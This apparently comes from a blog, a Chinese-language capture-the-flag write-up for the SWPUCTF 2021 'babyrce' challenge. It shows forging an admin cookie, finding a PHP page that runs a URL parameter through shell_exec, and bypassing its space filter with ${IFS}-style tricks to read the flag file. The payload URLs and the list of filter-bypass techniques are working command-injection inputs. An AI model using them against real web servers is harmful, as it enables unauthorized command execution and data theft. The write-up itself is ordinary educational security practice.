[SWPUCTF 2021 新生赛]babyrce

简介: [SWPUCTF 2021 新生赛]babyrce

0×01
打开题目环境,直接看重要代码

if($_COOKIE['admin']==1) 
{
    include "../next.php";
}

发现只有当COOKIE中admin的值等于1才可以执行下一步命令,跳出下一个文件。

0×02
打开题目环境,使用burp进行抓包,在抓包信息中,添加如下代码:

COOKIE:admin=1

Forward重放
在环境中发现新的PHP文件
rasalghul.php
url/rasalghul.php进行访问
发现PHP代码

if (isset($_GET['url'])) {
  $ip=$_GET['url'];
  if(preg_match("/ /", $ip)){
      die('nonono');
  }
  $a = shell_exec($ip);
  echo $a;
}

给了一个参数url,发现还需要进行空格绕过。
常用的绕过方法

cat flag.txt
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat<flag.txt
cat<>flag.txt

使用url=ls${IFS}查看根目录下的文件

url/rasalghul.php/?url=ls${IFS}

发现可疑文件flllllaaaaaaggggggg,疑似flag
构造payload并进行空格绕过,读取flag

url/rasalghul.php/?url=cat${IFS}$1/flllllaaaaaaggggggg

回显flag

NSSCTF{74e32ff7-033e-4262-887f-06968c36d204}
目录
相关文章
|
JSON PHP 数据格式
[SWPUCTF 2021 新生赛]jicao
[SWPUCTF 2021 新生赛]jicao
478 0
|
1月前
NSS [SWPUCTF 2022 新生赛]where_am_i
NSS [SWPUCTF 2022 新生赛]where_am_i
27 0
|
C++
2019 第十届蓝桥杯大赛软件赛决赛,国赛,C/C++大学B组题解
2019 第十届蓝桥杯大赛软件赛决赛,国赛,C/C++大学B组题解
241 0
|
1月前
|
数据安全/隐私保护
[SWPUCTF 2021 新生赛]简简单单的解密
[SWPUCTF 2021 新生赛]简简单单的解密
26 0
|
1月前
[SWPUCTF 2023 秋季新生赛]字节码
[SWPUCTF 2023 秋季新生赛]字节码
31 0
|
1月前
[SWPUCTF 2022 新生赛]base64
[SWPUCTF 2022 新生赛]base64
38 0
|
1月前
|
数据安全/隐私保护
[SWPUCTF 2021 新生赛]原来你也玩原神
[SWPUCTF 2021 新生赛]原来你也玩原神
29 0
|
1月前
NSS [SWPUCTF 2021 新生赛]no_wakeup
NSS [SWPUCTF 2021 新生赛]no_wakeup
9 0
|
1月前
|
JSON 数据格式
NSS [SWPUCTF 2021 新生赛]jicao
NSS [SWPUCTF 2021 新生赛]jicao
22 0
|
PHP
[SWPUCTF 2021 新生赛]include
[SWPUCTF 2021 新生赛]include
156 0